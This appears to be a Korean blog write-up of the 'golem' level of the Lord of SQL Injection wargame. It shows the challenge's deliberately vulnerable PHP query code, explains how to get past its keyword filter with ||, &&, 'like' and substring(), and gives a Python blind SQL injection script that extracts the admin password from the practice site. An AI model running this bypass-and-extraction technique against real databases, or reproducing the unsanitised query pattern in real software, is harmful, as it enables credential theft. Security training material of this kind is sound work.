Tyojong
[LOS] golem 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
문제 목표
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
패스워드가 정확히 일치해야하고
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
or, and, substr(, = 을 대소문자 상관없이 필터링한다.
문제 해결
or과 and는 각각 || 와 &&(%26%26)로 우회하고 = 는 like로 우회가 가능하다(id like "admin"). 또한 substr()함수는 mysql에서 substring()도 사용가능하기 때문에 우회가 가능하다. (?pw= 에서 =는 쿼리스트링의 형식이므로 like를 사용할 필요 없다.)
해당 페이로드 구성 후 blind sql injection을 이용해 패스워드를 파악하면
import requests
prob_id = "golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies = {"PHPSESSID": "세션 값"}
pw_len = 1
while True:
payloads = f"?pw=%27||id%20like%20%27admin%27%26%26length(pw)%20like%20{pw_len}--+"
url = f"https://los.rubiya.kr/chall/{prob_id}{payloads}"
response = requests.get(url, cookies=cookies)
if "Hello admin" in response.text:
print(f"password length : {pw_len}")
break
else:
print(f"password length : {pw_len}", end='\r')
pw_len = pw_len + 1
pw = ""
for i in range(1, pw_len+1):
for pw_ascii in range(33, 127):
payloads = f"?pw=%27||id%20like%20%27admin%27%26%26ascii(substring(pw,{i}))%20like%20{pw_ascii}--+"
url = f"https://los.rubiya.kr/chall/{prob_id}{payloads}"
response = requests.get(url, cookies=cookies)
if "Hello admin" in response.text:
pw = pw + chr(pw_ascii)
break
else:
print(f"password : {pw}{chr(pw_ascii)}", end='\r')
print(f"\rpassword : {pw}")
'web > LOS' 카테고리의 다른 글
[LOS] skeleton (0) | 2025.07.25 |
---|---|
[LOS] vampire (0) | 2025.07.25 |
[LOS] troll (0) | 2025.07.25 |
[LOS] orge (0) | 2025.07.22 |
[LOS] darkelf (0) | 2025.07.22 |